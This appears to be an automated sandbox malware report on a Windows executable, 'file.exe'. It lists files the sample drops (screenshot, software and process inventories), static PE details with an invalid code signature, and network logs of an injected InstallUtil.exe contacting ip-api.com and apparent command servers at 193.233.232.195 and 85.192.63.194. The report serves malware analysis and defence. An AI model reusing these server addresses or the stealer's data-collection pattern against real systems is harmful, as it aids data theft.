Category:	dropped
Size (bytes):	21648
Entropy (8bit):	5.751110016568791
Encrypted:	false
SSDEEP:	192:4z9PRuQuWfMX8OeK5O70GVRSTzUgrdX0cZl6OIxrbp6AkqwfOuGC0PXIHj/i5t3z:MXSs0HlUBOW6M+OKQ
MD5:	D6CDA8BEF8464935608D84B349D425BF
SHA1:	F75DE69262D22BB5A22CB84B238ECC6BE23893A8
SHA-256:	7C484B0C73EC2FC135BE9153ECE3C04BCBF190BFFECCC8B808051542F1DFA085
SHA-512:	5D0C1FBE984AFAD6D26C1DD45776B68ED82543745CBF8009E979B5B3D761E6514D54E28F8DFA1AF135B26BCFE2155792C952668CADBD049C27A419E346FC8E84
Malicious:	false
Preview:	#1.Name: svchost.PID: 1684.EXE: C:\Windows\System32\svchost.exe..#2.Name: DxxqABrirJvQHOUPYbkIniH.PID: 6032.EXE: C:\Program Files (x86)\qeDoytSEEXNLUzjkCLeWSVHdQUcKXSweKFAgophLwjjAdeucovddhaBxSNkLiXwBcoZXkM\DxxqABrirJvQHOUPYbkIniH.exe..#3.Name: svchost.PID: 3012.EXE: c:\windows\system32\svchost.exe..#4.Name: DxxqABrirJvQHOUPYbkIniH.PID: 3008.EXE: C:\Program Files (x86)\qeDoytSEEXNLUzjkCLeWSVHdQUcKXSweKFAgophLwjjAdeucovddhaBxSNkLiXwBcoZXkM\DxxqABrirJvQHOUPYbkIniH.exe..#5.Name: DxxqABrirJvQHOUPYbkIniH.PID: 6020.EXE: C:\Program Files (x86)\qeDoytSEEXNLUzjkCLeWSVHdQUcKXSweKFAgophLwjjAdeucovddhaBxSNkLiXwBcoZXkM\DxxqABrirJvQHOUPYbkIniH.exe..#6.Name: svchost.PID: 848.EXE: c:\windows\system32\svchost.exe..#7.Name: svchost.PID: 2140.EXE: c:\windows\system32\svchost.exe..#8.Name: svchost.PID: 1708.EXE: c:\windows\system32\svchost.exe..#9.Name: DxxqABrirJvQHOUPYbkIniH.PID: 6016.EXE: C:\Program Files (x86)\qeDoytSEEXNLUzjkCLeWSVHdQUcKXSweKFAgophLwjjAdeucovddhaBxSNkLiXwBcoZXkM\DxxqABrirJvQHOUPYbkIn

C:\Users\user\AppData\Local\analworker\user@305090_en-US_2023_05_25_00_09_46@v1.3.2\Screenshot.jpg

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	84470
Entropy (8bit):	7.898142179157835
Encrypted:	false
SSDEEP:	1536:CmdwWq7SzqenFHH9dUP9lBrCMFdmiNR1RJIBmnVBREXpbiRPDxU:vdwWqezqgpH4BrCum6IUnzR81YU
MD5:	E9612967119F75EC50D28AE47DABF923
SHA1:	8399AAEAFEF1258C62557D7EF6D35F8A0C3C621F
SHA-256:	7F7E9492CEE63F31B5B26ADE570D5DFC5E3AD2197CB7F91DB3C92F7AFFCA526B
SHA-512:	5FAB6039A1CAE905D6790A01362676B2E7B30A1A9971E36374E26F20F7F68186B4C6EB299E68AE165523BAE4814B95C14EF8956A7AD205BCC491F55FCDFF4A21
Malicious:	false
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..01KK...lq\....xcS.m..#Hm.....T......<!...wq5...v1.?S.....rHj-.U:...5............\|..+.......}...<.>...H.......Wo.CK`/l.1./...C...W.....,1....R.0.W.M.!.l7.~S....."SW.^..c......^s........u,-n....A..?.2.....l.(.?....7..~.q$.f..1\.q[.....oS:.gOY".....f-%.P.b.Z....>.....4+..b.Y&..F...)Pq.L....... .....H.#.\|..).?.H.'.\|....).?m.....h.t......\|4.%...d....

C:\Users\user\AppData\Local\analworker\user@305090_en-US_2023_05_25_00_09_46@v1.3.2\Software.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	38204
Entropy (8bit):	5.140010169770588
Encrypted:	false
SSDEEP:	96:cBD16fzBVrNpcCWKXOJDpVX8dEXOr8VtSZuRc85+8/1165N6N8HC6N8an6N8ds6n:0AfgW0ddrAA1YBrAft8MWdvnIHPHtdW
MD5:	A2A658925244F28F9BEAE4C9F64AA67B
SHA1:	F1A4135EE2F9BD9A55B087A943EAF2DED33B4312
SHA-256:	0B2CB54E08BCF114DA125138E781EF8B62DADCD6E5A8DD6922045DD984EE7F28
SHA-512:	EF88E2A2285210BE90C627360FAD1AD231329AA084E1E79F00273FE4E5F782BEE448A3959E167CC8064E407E4298648C7EC880A155ADD87C0DF4F4B39B74884B
Malicious:	false
Preview:	#1.Application: Google.Chrome.Version: 104.0.5112.81.Location: C:\Program Files\Google\Chrome\Application..#2.Application: Microsoft Office Professional Plus 2016.Version: 16.0.4266.1001.Location: C:\Program Files (x86)\Microsoft Office..#3.Application: Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501.Version: 12.0.30501.0.Location: [unknown install path]..#4.Application: Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005.Version: 12.0.21005.Location: [unknown install path]..#5.Application: Microsoft Visual C++ 2010 x86 Redistributable - 10.0.30319.Version: 10.0.30319.Location: [unknown install path]..#6.Application: Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.21.27702.Version: 14.21.27702.Location: [unknown install path]..#7.Application: Microsoft Visual C++ 2019 X86 Additional Runtime - 14.21.27702.Version: 14.21.27702.Location: [unknown install path]..#8.Application: Java 8 Update 211.Version: 8.0.2110.12.Location: C:\Program Files (x86)\Java\jre1.8.0_21

C:\Users\user\AppData\Local\analworker\user@305090_en-US_2023_05_25_00_09_46@v1.3.2\Windows.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	18260
Entropy (8bit):	5.718496242977151
Encrypted:	false
SSDEEP:	192:g6zzS0f50usL1gqaOQ0q6MXT8OTKI1oY7j+GlRKUqPDLtgg5ZuDvI0o9QyCD44ZH:lJIFgD
MD5:	C45A716A68C3954AA5BFD070F489C707
SHA1:	780E376783663263B23DF6545551D89E9D8AC668
SHA-256:	B18A54BEEB651DF3DDD8163EE4C22F4D331D56C8B88A332E75D8C31C02CFE602
SHA-512:	F88A0F283128CD26FCB65E1B755D0A7C9A716741120E45015DAB772A556800C94F7F473C31D24A7B2CCB87C05F3138F6E2DAF2CD708A45D369256E2EA5B36619
Malicious:	false
Preview:	#1.Name: DxxqABrirJvQHOUPYbkIniH.Title: New Tab - Google Chrome.PID: 6032.EXE: C:\Program Files (x86)\qeDoytSEEXNLUzjkCLeWSVHdQUcKXSweKFAgophLwjjAdeucovddhaBxSNkLiXwBcoZXkM\DxxqABrirJvQHOUPYbkIniH.exe..#2.Name: DxxqABrirJvQHOUPYbkIniH.Title: New Tab - Google Chrome.PID: 3008.EXE: C:\Program Files (x86)\qeDoytSEEXNLUzjkCLeWSVHdQUcKXSweKFAgophLwjjAdeucovddhaBxSNkLiXwBcoZXkM\DxxqABrirJvQHOUPYbkIniH.exe..#3.Name: DxxqABrirJvQHOUPYbkIniH.Title: New Tab - Google Chrome.PID: 6020.EXE: C:\Program Files (x86)\qeDoytSEEXNLUzjkCLeWSVHdQUcKXSweKFAgophLwjjAdeucovddhaBxSNkLiXwBcoZXkM\DxxqABrirJvQHOUPYbkIniH.exe..#4.Name: DxxqABrirJvQHOUPYbkIniH.Title: New Tab - Google Chrome.PID: 6016.EXE: C:\Program Files (x86)\qeDoytSEEXNLUzjkCLeWSVHdQUcKXSweKFAgophLwjjAdeucovddhaBxSNkLiXwBcoZXkM\DxxqABrirJvQHOUPYbkIniH.exe..#5.Name: DxxqABrirJvQHOUPYbkIniH.Title: New Tab - Google Chrome.PID: 6412.EXE: C:\Program Files (x86)\qeDoytSEEXNLUzjkCLeWSVHdQUcKXSweKFAgophLwjjAdeucovddhaBxSNkLiXwBcoZXkM\DxxqABrirJvQHOUPYbk

C:\Users\user\AppData\Local\analworker\msgid.dat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	3.0269868333592873
Encrypted:	false
SSDEEP:	3:r+FGn:rIGn
MD5:	BCA2CD848281D1BE066F6662DBE553C9
SHA1:	A364F1914422B75E0D1F702696356B93A1F4DCFD
SHA-256:	297AD70879E17987BFEEFCB929FB7243F09D838FB00A3FD54E90E0130B60635B
SHA-512:	4770FE3C24E97155E13B67921374EE8138EC4DE1D614B90CE8B9CFE892D25B84C388A3996E644DF4926921CD38934CBD35E955C3659D6A152DFA591DF81D1739
Malicious:	false
Preview:	OK@05-24-2023

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	208
Entropy (8bit):	4.014803491654171
Encrypted:	false
SSDEEP:	3:J+Q1EEOR425Q425Q425Q425Q425Q425Q425Q425Q42fWXHyv:J1+42i42i42i42i42i42i42i42i42fQc
MD5:	7A1F4A8B1C6E0E98A5A77BE8161835E4
SHA1:	27525727A833A283E897317B1BC229B36EE0B004
SHA-256:	45B297BC10BFBB2EF96AF2AD176C88D6C90C33EB786A6A4230498F1E1AECECB1
SHA-512:	E6253073BD79E552E500DE6E2BC07A123B7EE99BA19EDB8909FC7BDC21621E2E90DE42D6E7DD5986C450276A0CC95EC1425997A2A58D01FC2E217542A9B5A6E8
Malicious:	false
Preview:	4645..[FIND:]take it everywhere..take it everywhere..take it everywhere..take it everywhere..take it everywhere..take it everywhere..take it everywhere..take it everywhere..take it everywhere..saua732bAUa21..

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	3.2880071723280664
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1219328
MD5:	2df2884b8b1a86fa61343ea81352ec77
SHA1:	83dc7863e234f48607a16f0be43290259088dfd2
SHA256:	e0cc3040ad1009bda35882a71398733e14701fc0829e2d5dc84d920f6a72ec42
SHA512:	33b20badf32f3837d6386a4a891d2da2184068f4b3b14ce4e111bb16fed5f92d2822a2ce67d67a2ad71ca7dc6412546ddb77ff41922b0aa1202824b6164ff51b
SSDEEP:	12288:wPCpeRXPo3ZYOlNLOPZ7lxwberqf/9ssT:wP/PC5f4lGb2e/qM
TLSH:	4245D012B5E2C072D873153209E8DBBA5A7D79304B6599DF63E40F7E8F302C19732A66
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......?.I.{.'.{.'.{.'...$.v.'..."...'...#.m.'.4.#.j.'.4.$.n.'...&.~.'.{.&. .'.4.".5.'.....z.'...%.z.'.Rich{.'........................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4097fb
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x646D156E [Tue May 23 19:35:10 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	632364d9eea56f3f6aa7f9395c999741

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	9/20/2021 5:00:00 PM 9/12/2024 4:59:59 PM
Subject Chain	CN=Logitech Inc, O=Logitech Inc, L=Newark, S=California, C=US
Version:	3
Thumbprint MD5:	4044C5CA5550239BD53D4ECC63101E35
Thumbprint SHA-1:	53B2422E8E2E074AC57CB9A73E004AF7DF8BF64A
Thumbprint SHA-256:	73E3F0EEEB0B014D86EAE8266089DFCB490EA34296D4F67C90276D7888F0CD99
Serial:	0160C5354D861DED2F317645DC3FABCA

Entrypoint Preview

Instruction
call 00007F51E8C051F1h
jmp 00007F51E8C04899h
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007F51E8C04A3Bh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007F51E8C04A2Ch
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007F51E8C04A2Eh
add edx, 28h
cmp edx, esi
jne 00007F51E8C04A0Ch
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007F51E8C04A1Bh
push esi
call 00007F51E8C054CBh
test eax, eax
je 00007F51E8C04A42h
mov eax, dword ptr fs:[00000018h]
mov esi, 00462A7Ch
mov edx, dword ptr [eax+04h]
jmp 00007F51E8C04A26h
cmp edx, eax
je 00007F51E8C04A32h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007F51E8C04A12h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
jne 00007F51E8C04A29h
mov byte ptr [00462A80h], 00000001h
call 00007F51E8C04CE1h
call 00007F51E8C07A6Eh
test al, al
jne 00007F51E8C04A26h
xor al, al
pop ebp
ret
call 00007F51E8C10CE0h
test al, al
jne 00007F51E8C04A2Ch
push 00000000h
call 00007F51E8C07A75h
pop ecx
jmp 00007F51E8C04A0Bh
mov al, 01h
pop ebp
ret
push ebp
mov ebp, esp
cmp byte ptr [00462A81h], 00000000h
je 00007F51E8C04A26h
mov al, 01h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x345e0	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x1100	0x300	.text
IMAGE_DIRECTORY_ENTRY_SECURITY	0x127200	0x2900
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x64000	0x1e20	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x327d0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x32710	0x0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x27000	0x144	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x25bfe	0x25c00	False	0.5696528352649006	data	6.659421688226366	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x27000	0xdd32	0xde00	False	0.5167863175675675	data	5.528073599858321	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x35000	0x2e5a0	0x2d800	False	0.9810858087225275	DOS executable (block device driver \377\377\377\377N,32-bit sector-support)	7.976693437889122	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x64000	0x1e20	0x2000	False	0.715576171875	data	6.419199267341691	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.D_Haze	0x66000	0xc394c	0xc3a00	False	0.001094498801916933	data	0.0012512738879872786	IMAGE_SCN_TYPE_COPY, IMAGE_SCN_CNT_CODE, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_SHARED

Imports

DLL

Import

USER32.dll

CreatePopupMenu, ShowWindow, EmptyClipboard

KERNEL32.dll

GetProcAddress, CreateFileW, HeapSize, GetProcessHeap, GetModuleHandleW, GetConsoleWindow, MultiByteToWideChar, GetStringTypeW, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetCPInfo, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, SetStdHandle, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, WriteConsoleW, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, GetCommandLineA, GetCommandLineW, HeapAlloc, HeapFree, GetFileType, CompareStringW, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileSizeEx, SetFilePointerEx, CloseHandle, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, ReadConsoleW, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableW

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 24, 2023 14:09:51.579485893 CEST	49705	80	192.168.2.7	208.95.112.1
May 24, 2023 14:09:51.615478039 CEST	80	49705	208.95.112.1	192.168.2.7
May 24, 2023 14:09:51.615689039 CEST	49705	80	192.168.2.7	208.95.112.1
May 24, 2023 14:09:51.616072893 CEST	49705	80	192.168.2.7	208.95.112.1
May 24, 2023 14:09:51.657805920 CEST	80	49705	208.95.112.1	192.168.2.7
May 24, 2023 14:09:51.706315041 CEST	49705	80	192.168.2.7	208.95.112.1
May 24, 2023 14:10:10.024647951 CEST	49706	8899	192.168.2.7	193.233.232.195
May 24, 2023 14:10:13.207962990 CEST	49706	8899	192.168.2.7	193.233.232.195
May 24, 2023 14:10:19.208592892 CEST	49706	8899	192.168.2.7	193.233.232.195
May 24, 2023 14:10:29.021482944 CEST	80	49705	208.95.112.1	192.168.2.7
May 24, 2023 14:10:29.021658897 CEST	49705	80	192.168.2.7	208.95.112.1
May 24, 2023 14:10:31.335731983 CEST	49707	12345	192.168.2.7	193.233.232.195
May 24, 2023 14:10:31.367582083 CEST	12345	49707	193.233.232.195	192.168.2.7
May 24, 2023 14:10:31.367723942 CEST	49707	12345	192.168.2.7	193.233.232.195
May 24, 2023 14:10:31.368931055 CEST	49707	12345	192.168.2.7	193.233.232.195
May 24, 2023 14:10:31.400773048 CEST	12345	49707	193.233.232.195	192.168.2.7
May 24, 2023 14:10:31.400841951 CEST	12345	49707	193.233.232.195	192.168.2.7
May 24, 2023 14:10:31.400876999 CEST	12345	49707	193.233.232.195	192.168.2.7
May 24, 2023 14:10:31.401267052 CEST	49707	12345	192.168.2.7	193.233.232.195
May 24, 2023 14:10:31.433562040 CEST	12345	49707	193.233.232.195	192.168.2.7
May 24, 2023 14:10:31.433605909 CEST	12345	49707	193.233.232.195	192.168.2.7
May 24, 2023 14:10:31.433906078 CEST	49707	12345	192.168.2.7	193.233.232.195
May 24, 2023 14:10:31.465743065 CEST	12345	49707	193.233.232.195	192.168.2.7
May 24, 2023 14:10:31.465790033 CEST	12345	49707	193.233.232.195	192.168.2.7
May 24, 2023 14:10:31.465920925 CEST	12345	49707	193.233.232.195	192.168.2.7
May 24, 2023 14:10:31.465974092 CEST	49707	12345	192.168.2.7	193.233.232.195
May 24, 2023 14:10:31.466140032 CEST	12345	49707	193.233.232.195	192.168.2.7
May 24, 2023 14:10:31.466698885 CEST	49707	12345	192.168.2.7	193.233.232.195
May 24, 2023 14:10:31.466738939 CEST	12345	49707	193.233.232.195	192.168.2.7
May 24, 2023 14:10:31.497973919 CEST	12345	49707	193.233.232.195	192.168.2.7
May 24, 2023 14:10:31.498127937 CEST	12345	49707	193.233.232.195	192.168.2.7
May 24, 2023 14:10:31.498184919 CEST	12345	49707	193.233.232.195	192.168.2.7
May 24, 2023 14:10:31.499521017 CEST	12345	49707	193.233.232.195	192.168.2.7
May 24, 2023 14:10:31.499661922 CEST	49707	12345	192.168.2.7	193.233.232.195
May 24, 2023 14:10:31.604773998 CEST	49708	5001	192.168.2.7	85.192.63.194
May 24, 2023 14:10:31.640449047 CEST	5001	49708	85.192.63.194	192.168.2.7
May 24, 2023 14:10:31.640604019 CEST	49708	5001	192.168.2.7	85.192.63.194
May 24, 2023 14:10:31.641706944 CEST	49708	5001	192.168.2.7	85.192.63.194
May 24, 2023 14:10:31.673569918 CEST	5001	49708	85.192.63.194	192.168.2.7
May 24, 2023 14:10:31.674005032 CEST	5001	49708	85.192.63.194	192.168.2.7
May 24, 2023 14:10:31.674782038 CEST	49708	5001	192.168.2.7	85.192.63.194
May 24, 2023 14:10:31.675878048 CEST	49708	5001	192.168.2.7	85.192.63.194
May 24, 2023 14:10:31.677144051 CEST	49708	5001	192.168.2.7	85.192.63.194
May 24, 2023 14:10:31.678217888 CEST	49708	5001	192.168.2.7	85.192.63.194
May 24, 2023 14:10:31.706753016 CEST	5001	49708	85.192.63.194	192.168.2.7
May 24, 2023 14:10:31.707767963 CEST	5001	49708	85.192.63.194	192.168.2.7
May 24, 2023 14:10:31.707849979 CEST	5001	49708	85.192.63.194	192.168.2.7
May 24, 2023 14:10:31.707910061 CEST	49708	5001	192.168.2.7	85.192.63.194
May 24, 2023 14:10:31.707994938 CEST	49708	5001	192.168.2.7	85.192.63.194
May 24, 2023 14:10:31.708996058 CEST	5001	49708	85.192.63.194	192.168.2.7
May 24, 2023 14:10:31.709023952 CEST	5001	49708	85.192.63.194	192.168.2.7
May 24, 2023 14:10:31.709120035 CEST	49708	5001	192.168.2.7	85.192.63.194
May 24, 2023 14:10:31.710179090 CEST	5001	49708	85.192.63.194	192.168.2.7
May 24, 2023 14:10:31.710294008 CEST	49708	5001	192.168.2.7	85.192.63.194
May 24, 2023 14:10:31.739969969 CEST	5001	49708	85.192.63.194	192.168.2.7
May 24, 2023 14:10:31.740022898 CEST	5001	49708	85.192.63.194	192.168.2.7
May 24, 2023 14:10:31.740041018 CEST	5001	49708	85.192.63.194	192.168.2.7
May 24, 2023 14:10:31.740223885 CEST	49708	5001	192.168.2.7	85.192.63.194
May 24, 2023 14:10:31.740329027 CEST	49708	5001	192.168.2.7	85.192.63.194
May 24, 2023 14:10:31.741111994 CEST	5001	49708	85.192.63.194	192.168.2.7
May 24, 2023 14:10:31.741261959 CEST	49708	5001	192.168.2.7	85.192.63.194
May 24, 2023 14:10:31.742234945 CEST	5001	49708	85.192.63.194	192.168.2.7
May 24, 2023 14:10:31.742369890 CEST	49708	5001	192.168.2.7	85.192.63.194
May 24, 2023 14:10:31.748014927 CEST	49708	5001	192.168.2.7	85.192.63.194
May 24, 2023 14:10:31.772351027 CEST	5001	49708	85.192.63.194	192.168.2.7
May 24, 2023 14:10:31.772394896 CEST	5001	49708	85.192.63.194	192.168.2.7
May 24, 2023 14:10:31.772461891 CEST	49708	5001	192.168.2.7	85.192.63.194
May 24, 2023 14:10:31.772483110 CEST	5001	49708	85.192.63.194	192.168.2.7
May 24, 2023 14:10:31.773039103 CEST	5001	49708	85.192.63.194	192.168.2.7
May 24, 2023 14:10:31.773247957 CEST	5001	49708	85.192.63.194	192.168.2.7
May 24, 2023 14:10:31.773457050 CEST	5001	49708	85.192.63.194	192.168.2.7
May 24, 2023 14:10:31.774255991 CEST	5001	49708	85.192.63.194	192.168.2.7
May 24, 2023 14:10:31.774363995 CEST	5001	49708	85.192.63.194	192.168.2.7
May 24, 2023 14:10:31.804474115 CEST	5001	49708	85.192.63.194	192.168.2.7
May 24, 2023 14:10:31.804517031 CEST	5001	49708	85.192.63.194	192.168.2.7
May 24, 2023 14:10:32.006870031 CEST	49705	80	192.168.2.7	208.95.112.1
May 24, 2023 14:10:32.042885065 CEST	80	49705	208.95.112.1	192.168.2.7
May 24, 2023 14:10:32.203778982 CEST	5001	49708	85.192.63.194	192.168.2.7
May 24, 2023 14:10:32.203819990 CEST	5001	49708	85.192.63.194	192.168.2.7
May 24, 2023 14:10:32.203891993 CEST	49708	5001	192.168.2.7	85.192.63.194
May 24, 2023 14:10:32.204457045 CEST	49708	5001	192.168.2.7	85.192.63.194
May 24, 2023 14:10:32.236315966 CEST	5001	49708	85.192.63.194	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 24, 2023 14:09:51.471364975 CEST	53336	53	192.168.2.7	8.8.8.8
May 24, 2023 14:09:51.498056889 CEST	53	53336	8.8.8.8	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 24, 2023 14:09:51.471364975 CEST	192.168.2.7	8.8.8.8	0x93a9	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 24, 2023 14:09:51.498056889 CEST	8.8.8.8	192.168.2.7	0x93a9	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ip-api.com

85.192.63.194:5001

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49705	208.95.112.1	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	kBytes transferred	Direction	Data
May 24, 2023 14:09:51.616072893 CEST	93	OUT	GET /json HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
May 24, 2023 14:09:51.657805920 CEST	93	IN	HTTP/1.1 200 OK Date: Wed, 24 May 2023 12:09:51 GMT Content-Type: application/json; charset=utf-8 Content-Length: 287 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 48 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 5a 75 72 69 63 68 22 2c 22 63 69 74 79 22 3a 22 5a 75 72 69 63 68 22 2c 22 7a 69 70 22 3a 22 38 30 34 30 22 2c 22 6c 61 74 22 3a 34 37 2e 33 36 38 32 2c 22 6c 6f 6e 22 3a 38 2e 35 36 37 31 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 69 73 70 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 6f 72 67 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 61 73 22 3a 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 71 75 65 72 79 22 3a 22 38 34 2e 31 37 2e 35 32 2e 34 35 22 7d Data Ascii: {"status":"success","country":"Switzerland","countryCode":"CH","region":"ZH","regionName":"Zurich","city":"Zurich","zip":"8040","lat":47.3682,"lon":8.5671,"timezone":"Europe/Zurich","isp":"Datacamp Limited","org":"Datacamp Limited","as":"AS212238 Datacamp Limited","query":"84.17.52.45"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.7	49708	85.192.63.194	5001	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	kBytes transferred	Direction	Data
